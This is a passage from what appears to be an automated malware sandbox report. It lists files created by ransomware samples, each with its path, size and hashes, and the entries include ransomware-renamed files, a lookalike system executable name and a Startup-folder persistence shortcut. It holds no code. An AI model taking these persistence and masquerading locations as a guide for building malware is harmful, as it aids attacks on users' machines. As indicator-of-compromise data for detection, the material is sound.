                                                                                                                                                                                                                            599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            944B

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            6bd369f7c74a28194c991ed1404da30f

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            192KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            27de9a63f6284bbacb1b549966f6abcf

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            8f98978f712fe64fcd0e3cf0dadf7471b569a96f

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            0aaa748c1abbf87abdc65ea2a26cee0bffcbabd2ba707df93761c17404b2624c

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            3f04ff760d6187654466613a003db90c0ef64de3b563bd13849c7aa56cf34d1b55d6192b6df2c9f710c124c8005e19e26f43bbb70bc3a81340bb0aa8205b7f18

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zE443A06A7\00482\Trojan-Ransom.Win32.Blocker.ngna-3666316716fdd6f6dcffd23dc1b30c9f2b664336698e248ed52d0b6d499106bb.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            7.9MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            9cd078656ed2839ca01948a210f28185

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            adbd6755a7f2ac6d29e38fc80cc71c4f9a571d91

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            3666316716fdd6f6dcffd23dc1b30c9f2b664336698e248ed52d0b6d499106bb

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            cb7dcf74a60fa8bcd0c2df22cf2eba1b2fc55f3e49a1fef781ef8dd34724921264ac729a897219c0fb75c72513a14a32504a69ec1b7a42f8eed8661ac2f5af1d

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3g0ytn2f.m40.ps1

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            60B

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\aut5AF7.tmp

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            31KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            199d89028a54f3a74d49a68c3d7bba4c

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            75b92067d149cd4743a8a9dfc37beeb38d64d1cb

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            f830929825310fe601de392d64fe4128c234b9a503f748c3cfa6b18b574d9ae3

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            d48e984c9c8073dd1209e78b4bd95b67060191d7ae3cf128332c567a04aa6f720aa061a937440e1d8e2f3783850d0d9fbcd2c56a04b9259d74430eca638965a6

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI2B28.txt.redeem.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            128KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            6d41f7026ba48dcc7443bcacd2496059

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            802c0d5defebc3faadf89c26880364dd4ecaa02a

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            e0d7ab194c99fb805e2a7ecf2734356a026bb0b82108b308f8d22b2a12e39373

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            f66b126fca8ceaa77c16ef511c7f55468394c7078af86ce4e8c3925c7e7f9efe98ebec13a0704a66ea01410e56792a960a6c75bf2ac66780d50aa2d614bb6799

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\pd4ta.bin

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            89aae6793abb61c350c1b7b674c0d2da

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            0b9470d9829b0a306002f3b945778e1c25cedaac

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            b3d7ecf12163404a872bbc295174ffcb447e059b0e1a935910df14b71c0120a0

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            1527abef977418d47adf8c209464e11f586cd8c6135a488ab660f2c4b489f0025a479521322eb23018e4a7aee511afe12c9fedd21c27a5588d6f53c96611c891

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\zbhnd.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            52KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            0c35891923e160caaafd35651460de7d

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            0a7488c09d5deb2e131e10a38180fad4ece23fa4

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            1bde0a0c495958f303a4b796ba715171fe5cc0d32e6cf9d69b32e1a35e94689a

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            ba3548be461a58bcb8d4c71d0bd22a79c89c73614cc44c0e45197013d61249ae16b95327a49eda139fb5384af066a5a76d477d3406f17b8f5e8edf6d243e9324

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\0C7CEDD255209C93816B187E86D83DBC

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            58B

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            3e80d7933380763dcf4655ce4a7aaeba

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            3618c9fed9aaa21c207a733be5de4955d3034b4d

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            0c5309eadcafcb36c505d839a2b4ee89357193c8aa3fd450a832ea428b006cfc

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            db00693401e7bebbfa02c31e6863c6c5a603173e236b1f964bb8d734a17c570e4c57edf890f3b14c1b19fc1f16aec268e24df5a0c6077108568f0d0cb05aa6ee

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\7fd7740.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            143KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            3769639c17f0cd5045964b0839c9f009

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            0fe3a16efd24b51740aed67e9e8cc9f4325151fa

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            03467f231a3fce6795545ae99a6dad161effa3bf681031693815eabf1648ee66

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            263b1291fb981ea28b3a6494bc6636a63784ae58ca9ebd84b90c52ef1941bcea43ee7e90e464d9510f93a043e10304a13d91beaff51c03d52ab604128e020a39

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Isass.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            412KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            43d98c1b544599c7d71991499bdac1a0

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            16b2def2935f8494d8fc87c0caa763744bde41fb

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            3ff29804ebf38bb4dd80985971848dae2136e55bd60dca68984ebbe9b670a719

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            9d2b84b0cbdf09f2976473a1c4d2d080047f8bf37ad0e984a22c72841c94d96a323dfbb88bf6fe3b7e57a6224020c5c7ca5ca089bb15833103762213d1b5c0fa

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\SDL\sqpl.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.5MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            e7098ecde9f0172f4b714a9bb930543d

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            c0b92f9ee00e9106ebec464dc76d0118fe1a6a8e

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            8cf179cf6ca8a94aa561297d8621ded8e26222d34b93828b14396054773eaa16

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            2fd2f12d5b7c206af650da631245ab4dfb92924072d8f4964a3c16b7838b8ad4c5c891f9e4c225e184f06e7365dba7c1fc7b7405affddf76a0f370b6494042ce

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Soft.lnk

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            89063e018c94e23fe87f896990ec25c6

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            825219324af637e92eb5ff0f66efff20bac946d4

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            755ecb8fd0da33e0afd472831ca636217f8dcfac6bccd0e53215fdeb031d38cd

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            2e802d85901b1012a265d29518da3df921c6b2dc8d2f7a6dfdac9f9dd57ab1697494abb65edd1ec39cbe0fb5f3e1e1f2b3d351b584f5b46b649cf482a47993c0

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Scegli_nome_allegato.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.0MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            a2f259ceb892d3b0d1d121997c8927e3

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            6e0a7239822b8d365d690a314f231286355f6cc6

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            ab01a333f38605cbcebd80e0a84ffae2803a9b4f6bebb1e9f773e949a87cb420

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            5ae1b60390c94c9e79d3b500a55b775d82556e599963d533170b9f35ad5cfa2df1b7d24de1890acf8e1e2c356830396091d46632dbc6ee43a7d042d4facb5dad

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Windows Objects\wmiintegrator.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.0MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            345983a3f8b64e63bb5896bb0d7afafe

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            8b542cc4891d284c93a1a24de766c7241c7f3570

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            83a102edf3f6dc7d78c06c665439d24de78c32f2dcd5547eea0ebc35c095df19

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            44b2640364934d0dd9386d8af2bfd59ccd321faaa17dd33d6e5968eb2c377fb425bcfcf469ce38ce2988bae9ba64dc7c36cf5c742e8b966584b23ca77ae082d9

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Windows Objects\wmisecure.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.0MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            f18307bb26746dfc07c7d043242db3b2

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            100abeaf5a8f3274d3a943d440b0ed370a9cc302

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            c9bf723437b5fd41db4f55e65767d3ef44093e7996feace18940a03ace1575e9

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            fff6c768563331aa88c4d539868248d6868c6c74204ed2ce28f72c3356722580009e0a5df4df77d2ae3f694c57cdb7420d3747747111351dc46737baf4e3b7b0

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Windows Objects\wmisecure64.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.0MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            670387d784954b950f1b0ae8510db339

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            3e9eb35c1f08fd7b5ba3eaa9b7eba4ce7e5141a1

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            9dd190f323ad2332ef66789d04e8de0ea0a58d540aea2c787129fa827c15f633

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            0750d775270cf1ebaacb9ede07c8b881e0343c1dc7fa3e343145ab664065dbab896fcabf16135b595a3846b6262cff598537989ac5e521b638e6d81c11a5772a

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\pendrive.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.0MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            a70c33bf710188503327ef5cebd1e512

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            cb533336efea5332a1618fb1f25470afd628e9d1

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            409ac008c95c0ef261d83abaefc4ac00400c7a9b98320c75bb8401c3f0f8301b

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            082026c99ce82e12592df204058ae8db9a61a079cf712fe184c533a083f11daadff114a89184097e073032158ecdba4b3280544ba2054082116688ab0b5f11b7

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\wlrmdr.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            3.2MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            f6ca906c435246ee510784399ec757fb

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            2ee286e86f35f8cb411e85f4903408ca653dae5f

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            6aba0494180fbde7a85fa184c1fa767df1bfd4bca92101b737ee9774226bda81

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            e386950ed61d0c7f8c5ac78dbb39c3ae614b08ef591091ad93ccf105244698a16ceb9b2262b3ca6e8a24fd8bd1a90db293276bb389768b84c42d03a48be079d5

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.MSIL.Agent.gen-d2080b0b0f087ebe9c16d91a25ceb1d5d4c32bed258f4dcb91c3b83bb0070db7.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            289KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            489306e0514b37f338215c607269f0fd

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            4c808796df4a6c9b46e2dd9a2a04a0f6db81aef0

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            d2080b0b0f087ebe9c16d91a25ceb1d5d4c32bed258f4dcb91c3b83bb0070db7

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            a0f8da3839d8fc2adc1b9e7aabfed4adce8f340e99391176413c638cd66143a1ab1338c740fc91788f9444c3e32490aca364a85e2adf311a5b25eafea81551ae

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.MSIL.Blocker.gen-174baeb61d7db21bc0034a6add46e2c8b1579b9e0be8bedea96f612debd7b14d.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            10.9MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            81c5a04c98ff63745508559b324894ae

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            18976590e2a23237a0c63b9c0aceef229cbee3fe

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            174baeb61d7db21bc0034a6add46e2c8b1579b9e0be8bedea96f612debd7b14d

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            d3302759731e3ce35cdf27e18d6780e0ad7fe8920ba91e4701d1f3e560b6f499d0b3b5eb32271d8228e6e6a93f0db1fc51b4231b1f8921c58c1b13e084312b08

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.MSIL.Crypren.gen-0c60599f5e5c8172c4b7a551f3ba4b43aeec5fea6976bf8fd2b38e5fb1ee8f13.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            400KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            25a02c96e64831c4b4d4a22564f4cf57

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            cc76d6529dac6dd6d4258aa91aaa0326da9dd873

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            0c60599f5e5c8172c4b7a551f3ba4b43aeec5fea6976bf8fd2b38e5fb1ee8f13

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            93d0d4d8322e330d325d4387a4ea5293d4789c1f669970f0337bc2b95165f6c1e5718247305442afd574c66f9c6e9de16dfbd26061f3ec24e45c936deb4c738b

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.MSIL.Encoder.gen-1d871d84ee02630558411e47c81ef2aa8bef8f6cd8daaf594f133f545f772c26.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            824KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            7d17a868abac9de81fe79087eee31471

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            2d3f58ea051db43964243b8aefb7279e45e7bda9

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            1d871d84ee02630558411e47c81ef2aa8bef8f6cd8daaf594f133f545f772c26

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            85ec6c3cf0908b306712041fc9d971d27349641245c29f126e01443dcc6ccd78530c789b15d345938c194009c890b42f7c95bc65deae1ef7372e5744651f9540

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.MSIL.Purgen.gen-77181bf77dde9838240d6ae57aaf37d2e96cc089a5bdd8c530a9b5195c290851.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            80KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            bf6c69f9ca692937062ac51b8d70c6c1

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            b70f3bd1ee7ac687f64b9cea11b443546b98ebe1

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            77181bf77dde9838240d6ae57aaf37d2e96cc089a5bdd8c530a9b5195c290851

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            8122bcd5da063dff21d7164809aa42a6d64aa9183928e95a208fa346c60301405dd00d62768be528dfff25effd38d0416845062b706e828ad7c74ce3ad1d8d8f

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Blocker.gen-6c2fd975d70bfebbac1ca3661f8abd7308b8542a036dd8abfd223b1b78d58847.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            20KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            e97f76604f41b1face7c09e5da8a24d4

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            ef54757252e9da5cc193fc515acdf5f11815db37

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            6c2fd975d70bfebbac1ca3661f8abd7308b8542a036dd8abfd223b1b78d58847

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            db815c4333a1fece6282513401f227e8d904024636b2c9d27d5cf900d17c3c26ac959ad95cadaf07c48f7587c71f60af6f6474dc0c8daa36d876e479d48e9f3c

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Blocker.pef-f274951a2e7bc1d5c4e2c5ffd8bb93efd1ca9abc7aa1fc32f0196eec424a4f39.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            52KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            eb3887b74bbb2488a51a2b7c2afed7f8

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            48c36fd41eb65cc8d8fade24dd86bf78e1084670

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            f274951a2e7bc1d5c4e2c5ffd8bb93efd1ca9abc7aa1fc32f0196eec424a4f39

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            c3e9f876443ffca83c68fc259aa5ff7d03a09dd724728d3dcd07af8323c169fd3be92404c4b5d48e7599abc1add0a3b55c2eddc9a028fa254fa6d851d2692953

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-63064e7098dd5834bf63c40f0645d1fe6be93de9c59b0028bbdff3424d7fe35b.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.8MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            60ee8a352264cd703fd264769cabf408

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            07eb4cdbcdff2f8a9c5c181ea0bc5bd0694afd2a

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            63064e7098dd5834bf63c40f0645d1fe6be93de9c59b0028bbdff3424d7fe35b

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            81a7699cc42f0d766d7e5557515bdb0cb65cbd4ee16e57294fce06c43f2f33dcd280261e68b1d8377c88a6f3c2b2733543804cb2b1052794fb75ac4b6400fd80

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Cryptoff.vho-fd9867c02033d592fbaa4cce9eee14d7d1b6bb90beb5fb5b12379946311a37fd.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            130KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            57a9dfdf84c6a84481aef36a8aaa7680

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            ac9f86fc99196dd52582a65db01d0e902f50d803

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            fd9867c02033d592fbaa4cce9eee14d7d1b6bb90beb5fb5b12379946311a37fd

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            45004cec749ba35a64c7112d4a91cdc443039a17bebc4e861b058ec230e8b81abcdb2297ae306447336c92b6429378ec16da7e07b5319fa6df331c87ad699acb

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Cryptor.gen-1b53c48f6dbe0eba14631c633e941417014125aa731b5e2f4caa444e1099d13a.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            691KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            0a36718279e641988b6345fb8848af28

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            db854068b9885d91bfa0559a90e3f329ac0bfbdc

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            1b53c48f6dbe0eba14631c633e941417014125aa731b5e2f4caa444e1099d13a

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            9dea9067cae147ab474106240df5b7a9ea7483eaf5eefec5edcf5d4c9b48261a0c261bfac2c2604430f8e522e49491aaaf5fd26304a6a10cf664341313444688

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Cuba.gen-adb12f4ed01d1f59ffc45186fc85d502ddeebfd26438aa2c7e4383566fb9739f.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            3.9MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            a455006935e4a276917175f6e48a0b74

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            9cba52c350eda90672ce634d5b37ffcec4b5cabc

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            adb12f4ed01d1f59ffc45186fc85d502ddeebfd26438aa2c7e4383566fb9739f

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            623dc1f0dd08edf2566fb65b006c5a484243d9ae8553dd1e7539abf128d99cc98f6728a0c7ae4e0456e8ce9e6764934a0113cb74d298e9528af2998d4cb3c978

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.GandCrypt.pef-afb594d44889eabc8ae1fde68f3ce3344a23ffc9fef251e4c14af948b2c9ce72.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            244KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            b6826dc8c9582ca83864eb7a23734f98

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            22f2481ee80838a5c6558265e2f259c1eeec1499

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            afb594d44889eabc8ae1fde68f3ce3344a23ffc9fef251e4c14af948b2c9ce72

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            58f4e82210e87babed12214d89ae6b20ae3c6528e98fff9350ae494d74deaf3177727b113cf4683cd461f53f47efb4174de31db1ff19abe59e87d8c89b84acaa

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Gen.gen-cbcc839cbe4c2c684dfe9fcfb16ed261d9b6b2a73a404a45fe740c0f46bbcc23.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            440KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            4067c4242c7b6ee5dd1164d6eab53eeb

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            29b9f9162d8efd50313a2b1ffeded329d7305b7b

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            cbcc839cbe4c2c684dfe9fcfb16ed261d9b6b2a73a404a45fe740c0f46bbcc23

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            8a5342ab2d81e7fe8f8aa98442de606bf5c240c418df84925606d95744a28219a258cc4ec1e9024cb88c3c5375114ffce73c1a2c923de40954aaf1cd257c3d82

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Generic-2ca977fd3323e3e4997747476965c2251feccc466809e3594ec1fec47754aa2f.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            5.8MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            117323b7aac19102a70eb4d5ab8e5f7b

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            a5d7e43d9eb9076b74b5755be4f8e51d7440dc9d

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            2ca977fd3323e3e4997747476965c2251feccc466809e3594ec1fec47754aa2f

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            2109a6576fdeb7eec336041aa8c3680f38d09872607ebc1815ee0793ec5d5d181a48d3d37622b4af4f0bc6f1ddd6f9f508607d126c3b47306d835176e797bbd7

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Generic-70aa68770bdd23400254e08045cba305b674d5c98bd5f9910b9672c76fe5bb0d.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.8MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            746a47884a4eca844cf25cecaef7b673

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            74369f9891f886002e539ab9cf9a19015457c768

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            70aa68770bdd23400254e08045cba305b674d5c98bd5f9910b9672c76fe5bb0d

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            a048bfa13a2de087dba6f41a9a860610374024029a6a2b0553969f14420113bc32a83c800ff82cdf755685f6bd5cf702430dda10c1afcabefdc6b5a73f7fbe94

                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Generic-cbe63721845f03919c2aa83a4a77280b14932c16fb68e3a46e8c367e24a27909.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.0MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            5804fca0fc51d705abb4743fc4b1ace2

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            04da6359b5f3dae9ca5a7140e6b4a3e1369934a4

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            cbe63721845f03919c2aa83a4a77280b14932c16fb68e3a46e8c367e24a27909

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            65e56f819e5c8ba60c6cbf5c3a6688910f75746d4c4a68294240d06b24cd3b7edefccec83e0605000385977daa74f17e51c29c5d8489df6a46fe25ecdde843a2
